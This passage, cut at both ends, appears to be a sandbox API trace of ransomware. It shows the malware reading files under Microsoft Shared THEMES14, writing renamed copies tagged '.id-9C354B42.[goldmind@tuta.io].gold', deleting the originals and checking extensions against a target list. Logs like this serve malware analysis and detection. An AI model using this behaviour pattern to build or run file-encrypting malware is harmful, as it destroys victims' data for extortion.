lpNumberOfBytesWritten=0x2eefc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0040.981] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0040.981] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.981] SetEndOfFile (hFile=0x1f4) returned 1 [0040.981] CloseHandle (hObject=0x1f4) returned 1 [0040.982] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.982] SetEndOfFile (hFile=0x1fc) returned 1 [0040.982] CloseHandle (hObject=0x1fc) returned 1 [0040.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.983] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0040.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.983] lstrlenW (lpString=".doc") returned 4 [0040.983] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.983] lstrlenW (lpString=".docx") returned 5 [0040.983] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.983] lstrlenW (lpString=".pdf") returned 4 [0040.983] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.983] lstrlenW (lpString=".xls") returned 4 [0040.983] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.983] lstrlenW (lpString=".xlsx") returned 5 [0040.983] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.983] lstrlenW (lpString=".ppt") returned 4 [0040.983] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.983] lstrlenW (lpString=".zip") returned 4 [0040.983] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.983] lstrlenW (lpString=".rar") returned 4 [0040.983] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.983] lstrlenW (lpString=".bz2") returned 4 [0040.983] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.983] lstrlenW (lpString=".7z") returned 3 [0040.983] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.983] lstrlenW (lpString=".dbf") returned 4 [0040.983] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.983] lstrlenW (lpString=".1cd") returned 4 [0040.983] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.983] lstrlenW (lpString=".jpg") returned 4 [0040.983] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.984] lstrlenW (lpString=".doc") returned 4 [0040.984] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.984] lstrlenW (lpString=".docx") returned 5 [0040.984] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.984] lstrlenW (lpString=".pdf") returned 4 [0040.984] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.984] lstrlenW (lpString=".xls") returned 4 [0040.984] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.984] lstrlenW (lpString=".xlsx") returned 5 [0040.984] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.984] lstrlenW (lpString=".ppt") returned 4 [0040.984] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.984] lstrlenW (lpString=".zip") returned 4 [0040.984] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.984] lstrlenW (lpString=".rar") returned 4 [0040.984] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.984] lstrlenW (lpString=".bz2") returned 4 [0040.984] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.984] lstrlenW (lpString=".7z") returned 3 [0040.984] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.984] lstrlenW (lpString=".dbf") returned 4 [0040.984] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.984] lstrlenW (lpString=".1cd") returned 4 [0040.984] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0040.984] lstrlenW (lpString=".jpg") returned 4 [0040.984] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.984] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0040.984] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0040.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0040.984] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=2722) returned 1 [0040.985] CloseHandle (hObject=0x1fc) returned 1 [0040.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0040.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0040.985] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.985] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.000] GetLastError () returned 0x0 [0041.000] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xaa2, lpOverlapped=0x0) returned 1 [0041.002] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xab0, lpOverlapped=0x0) returned 1 [0041.003] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.003] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.003] SetEndOfFile (hFile=0x200) returned 1 [0041.003] CloseHandle (hObject=0x200) returned 1 [0041.004] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.004] SetEndOfFile (hFile=0x1fc) returned 1 [0041.005] CloseHandle (hObject=0x1fc) returned 1 [0041.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.005] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.005] lstrlenW (lpString=".doc") returned 4 [0041.005] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.005] lstrlenW (lpString=".docx") returned 5 [0041.005] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.005] lstrlenW (lpString=".pdf") returned 4 [0041.005] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".xls") returned 4 [0041.006] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".xlsx") returned 5 [0041.006] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.006] lstrlenW (lpString=".ppt") returned 4 [0041.006] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".zip") returned 4 [0041.006] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".rar") returned 4 [0041.006] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".bz2") returned 4 [0041.006] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.006] lstrlenW (lpString=".7z") returned 3 [0041.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".dbf") returned 4 [0041.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".1cd") returned 4 [0041.006] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".jpg") returned 4 [0041.006] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".doc") returned 4 [0041.006] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.006] lstrlenW (lpString=".docx") returned 5 [0041.006] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.006] lstrlenW (lpString=".pdf") returned 4 [0041.006] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".xls") returned 4 [0041.006] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".xlsx") returned 5 [0041.006] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.006] lstrlenW (lpString=".ppt") returned 4 [0041.006] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".zip") returned 4 [0041.006] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".rar") returned 4 [0041.006] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.006] lstrlenW (lpString=".bz2") returned 4 [0041.006] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.006] lstrlenW (lpString=".7z") returned 3 [0041.006] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".dbf") returned 4 [0041.006] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.006] lstrlenW (lpString=".1cd") returned 4 [0041.006] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0041.007] lstrlenW (lpString=".jpg") returned 4 [0041.007] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.007] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.007] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.007] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=945) returned 1 [0041.007] CloseHandle (hObject=0x1fc) returned 1 [0041.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0041.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.007] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.010] GetLastError () returned 0x0 [0041.010] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x3b1, lpOverlapped=0x0) returned 1 [0041.013] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0041.013] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0041.013] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.013] SetEndOfFile (hFile=0x200) returned 1 [0041.014] CloseHandle (hObject=0x200) returned 1 [0041.014] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.014] SetEndOfFile (hFile=0x1fc) returned 1 [0041.015] CloseHandle (hObject=0x1fc) returned 1 [0041.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0041.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.015] lstrlenW (lpString=".doc") returned 4 [0041.015] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.015] lstrlenW (lpString=".docx") returned 5 [0041.015] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.015] lstrlenW (lpString=".pdf") returned 4 [0041.015] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.015] lstrlenW (lpString=".xls") returned 4 [0041.015] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.015] lstrlenW (lpString=".xlsx") returned 5 [0041.015] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.015] lstrlenW (lpString=".ppt") returned 4 [0041.015] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.015] lstrlenW (lpString=".zip") returned 4 [0041.016] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString=".rar") returned 4 [0041.016] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString=".bz2") returned 4 [0041.016] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.016] lstrlenW (lpString=".7z") returned 3 [0041.016] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".dbf") returned 4 [0041.016] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".1cd") returned 4 [0041.016] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".jpg") returned 4 [0041.016] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".doc") returned 4 [0041.016] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.016] lstrlenW (lpString=".docx") returned 5 [0041.016] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.016] lstrlenW (lpString=".pdf") returned 4 [0041.016] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString=".xls") returned 4 [0041.016] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString=".xlsx") returned 5 [0041.016] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.016] lstrlenW (lpString=".ppt") returned 4 [0041.016] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".zip") returned 4 [0041.016] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString=".rar") returned 4 [0041.016] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.016] lstrlenW (lpString=".bz2") returned 4 [0041.016] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.016] lstrlenW (lpString=".7z") returned 3 [0041.016] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".dbf") returned 4 [0041.016] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".1cd") returned 4 [0041.016] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0041.016] lstrlenW (lpString=".jpg") returned 4 [0041.016] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.017] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.017] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.017] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=32607) returned 1 [0041.017] CloseHandle (hObject=0x1fc) returned 1 [0041.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0041.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.017] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.017] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0041.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.017] GetLastError () returned 0x0 [0041.017] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0041.019] WriteFile (in: hFile=0x200, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2eefc9c, 